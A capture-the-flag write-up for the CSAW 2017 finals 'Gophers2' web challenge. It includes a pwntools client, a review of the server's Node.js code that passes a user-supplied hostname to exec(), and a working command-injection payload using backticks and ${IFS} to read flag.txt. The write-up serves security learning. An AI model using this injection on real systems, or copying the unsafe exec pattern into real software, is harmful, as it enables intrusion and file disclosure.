[writeup by @bonaff]
**CTF:** CSAW CTF Final Round 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Web / Gophers2
**Points:** 200
> Solve Gophers1, and it will tell you what to do.
For this challenge I reused the client from the Gophers1 challange (let's call it `pwn_client.py`):
```python#!/usr/bin/env python2
import sysimport randomfrom pwn import *
DH_P = 251DH_G = 6
def request(data):    p = remote('web.chal.csaw.io', 4333)
    # Diffie-Hellman key exchange    dh_a = random.randint(0, 255)    dh_A = (DH_G ** dh_a) % DH_P    p.send(p8(dh_A))    dh_B = u8(p.recvn(1))    s = (dh_B ** dh_a) % DH_P
    crypt = lambda x : ''.join([chr(ord(c) ^ s) for c in x])
    p.send(crypt(data))    return crypt(p.recvall())
if len(sys.argv) >= 2:    print request(sys.argv[1])```
Sending a `/` returns "Hey man, I heard you like writing clients, try writing a server!", with the source code of the remote server.Time for some code review!
From the first lines of code we can see that the flag is in the root directory:
```javascriptconst FLAG = readFileSync('/flag.txt');```
But this constant is never used in the code, so we are looking for some kind of file disclosure / remote code execution.
Then there are some app.selector:
```javascriptapp.selector('/', function(req, res, done){```
This is the index that we've seen before. Nothing fancy.
```javascriptapp.selector('/reset', function(req, res, done){[...]```
This will reset a sandbox (see below).
```javascriptapp.selector('/run_client', function(req, res, done) { [..] }```
Finally, this will get a hostname and a port, and will connect to that host:port using gopher2. The way it does this is quite interesting:
1. First, it creates a sandbox and copies a client script named `client.py`.2. Then, it checks that the hostname and the port are valid by creating an URL object.3. Finally, it passes the hostname and the port to the client by calling **`exec`**.
Here's the code:
```javascriptlet {host, port} = req.params;  let _url = `gopherz2://${host}:${port}`;   let url;  try {    url = new URL(_url);  } catch (e) {    res.listing([{      type: 'E',      data: 'Yeah that\'s not going to work',    }]);    return done();  }  host = url.hostname;  port = url.port;                        
  let sandbox = sandbox_directory(req.client.remoteAddress);    if (host && port) {    waterfall([      (cb) => {         exec(`mkdir ${sandbox} && chmod +rwx ${sandbox} && cp client.py ${sandbox}/ && chmod 777 ${sandbox}`, (err, stderr, stdout) => { if (err) cb(stderr); else cb(); });      },      (cb) => {        exec(`cd ${sandbox} && python3 client.py ${host} ${port}`,           (err, stdout, stderr) => {            if(err) cb(stderr);            else {              res.listing([{                type:'T',                data: stdout,              }]);              done();            }        });      }    ], (err) => {      if(err) {        res.listing([{          type: 'E',          data: err        }]);        done();      }    })  } else {    res.listing([{      type: 'E',      data: 'host and port wrong'    }]);    done();  }});```
Playing a bit with the URL parser, I found that the characters ``$;`{}`` are considered valid in the hostname, so if we forge a host like:
```text0;`echo${IFS}foo````
Bash will throw an error, saying that the command `foo` can't be found. So let's read the flag!
```bash./pwn_client.py '/run_client\thost:0;`cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag.txt`\tport:444'```
And this will throw an error with the flag.